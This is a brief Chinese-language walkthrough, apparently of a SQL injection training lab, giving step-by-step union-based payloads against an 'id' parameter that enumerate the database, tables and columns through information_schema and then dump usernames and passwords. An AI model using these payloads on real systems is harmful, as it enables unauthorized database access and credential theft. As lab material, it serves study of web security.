1、提示我们需要传递一个id的参数
?id=1
2、判断是什么类型的注入(字符or整形)结果:存在字符型注入
?id=1'
?id=1' --+
3、使用联合查询,查看有几列。结果:有3列
?id=1 ' order by 4 --+
4、查看这3列中哪几列会在页面显示 (由于写入id=整形数值,会出现先对应的name和password,所以这里我们构造id=字符)结果:第2,3列会显示在页面是上
?id=a' union select 1,2,3 --+
5、接着查询数据库名
?id=a' union select 1,2,database()--+
6、 接着是查询该库中的表名,可能有多张表,这里有4张表,我们猜测重要数据会在users表中
?id=a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
7、接着查询users 表中的字段,得到了表中的字段,可以看到username,password里面的信息可能是我们想要的
?id=a' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
8、查询users表中字段里面的信息(在这里加上id是为更好的分隔开用户名和密码),最终我们拿到了用户名和密码
?id=a' union select 1,2,group_concat(username,id,password) from users--+